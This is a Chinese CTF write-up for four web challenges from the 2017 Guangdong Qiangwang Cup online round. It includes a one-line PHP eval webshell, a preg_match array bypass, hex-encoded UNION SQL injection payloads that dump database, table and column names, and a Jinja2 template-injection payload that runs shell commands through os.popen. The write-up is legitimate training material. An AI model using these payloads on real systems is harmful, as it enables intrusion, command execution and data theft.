title: 2017第二届广东省强网杯线上赛
date: 2019-01-25 21:35:56
tags: [Writeup,ctf]
categories: i春秋CTF大本营
2017第二届广东省强网杯线上赛
broken
题目内容:http://106.75.72.168:1111/
you got a file, but ...
打开题目有一个file,点开看一下是一堆符号。这个是JSFUCK加密的web题,最后还有一个(),删除掉最后的(),然后直接扔到控制台执行。
呃。。。。。不能执行,仔细看一看,原来前面多了一个"[",再去掉前面的[,然后扔到控制台执行,拿到flag。
imgwho are you?
题目内容:http://106.75.72.168:2222/
我是谁,我在哪,我要做什么?
点击链接进去之后说没有权限,<Sorry. You have no permissions.>
看了一下请求头发现cookie有点东西,role角色是base64加密过的 img把Zjo1OiJ0aHJmZyI7
解密后是f:5:"thrfg";
thrfg也是加密过的,凯撒加密,我们解密后得到guest,guest的权限不够,我们用admin、root试一下,把admin进行加密,然后base64得到Zjo1OiJucXp2YSI7
,修改请求头发送包
让我们上传东西,那肯定要写个马进去了
尝试写马进去filename=a.php&data=<?php @eval($_GET["cmd"])?>
但是NONONO,试了好多次都没绕过,就去看了WP。
data中有preg_match函数的过滤,这里用数组绕过。最后post过去的数据为filename=a.php&data[]='<?php echo "123";?>'
然后返回一个路径
phone number
题目内容:http://106.75.72.168:3333
Phone number is a good thing.
打开题目是一个登录界面,先随便注册一个用户然后登录进去,进去之后如下。
img 然后点击check到check.php,查看源码发现有一句注释。 img所以phone应该是利用点,要想办法得到admin的phone。应该是注入。
但是phone处只能输入数字,可以讲sql语句转化为16进制。测试发现只有一个回显字段。
sql注入爆库1 union select group_concat(schema_name) from information_schema.schemata
转化为十六进制0x3120756e696f6e2073656c6563742067726f75705f636f6e63617428736368656d615f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e736368656d617461
,然后注册登录得到数据库名information_schema,mysql,performance_schema,webdb。
然后我们爆webdb的表1 union select group_concat(table_name) from information_schema.tables where table_schema='webdb'
转为十六进制0x3120756e696f6e2073656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d27776562646227
得到表名user
然后查询user表的字段名1 union select group_concat(column_name) from information_schema.columns where table_name='user'
转为十六进制0x3120756e696f6e2073656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d277573657227
得到字段名,有用的字段为User,Password,id,username,phone。
根据注释中admin的电话藏着大秘密,我们查询username为admin的电话1 union select phone from user where username ='admin'
转为十六进制0x3120756e696f6e2073656c6563742070686f6e652066726f6d207573657220776865726520757365726e616d65203d2761646d696e27
得到flag。
Musee de X
题目内容:http://106.75.72.168:8888/
X在卢浮宫旁开了一个博物馆,欢迎社会各界人士捐献藏品。
进去之后先注册个用户,然后会给你建立一个目录,自己的文件会存储在这个目录下。
img登录进去之后让去donate.php页面捐献,随便写个网址,然后写名字,名字这里如果随便写就会"Screw u, hacker!"被waf拦截,只能写自己注册时候的名字。
img然后GO!得到一个报错页面。根据报错界面的信息我们可以知道用的是jinjia2模板,考察的是jinja2模板注入。注入点在用户名,payload如下,注册该用户,然后去捐献。
my{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('cat flag*').read()")}}
捐献地址如下,是一张纯黑色图片
http://pic4.bbzhi.com/jingxuanbizhi/heisediannaozhuomianbizhixiazai/heisediannaozhuomianbizhixiazai_362061_5.jpg
然后得到flag。flag{13460551-92a3-ed4f-844d-86f8f12ca99c}
网友评论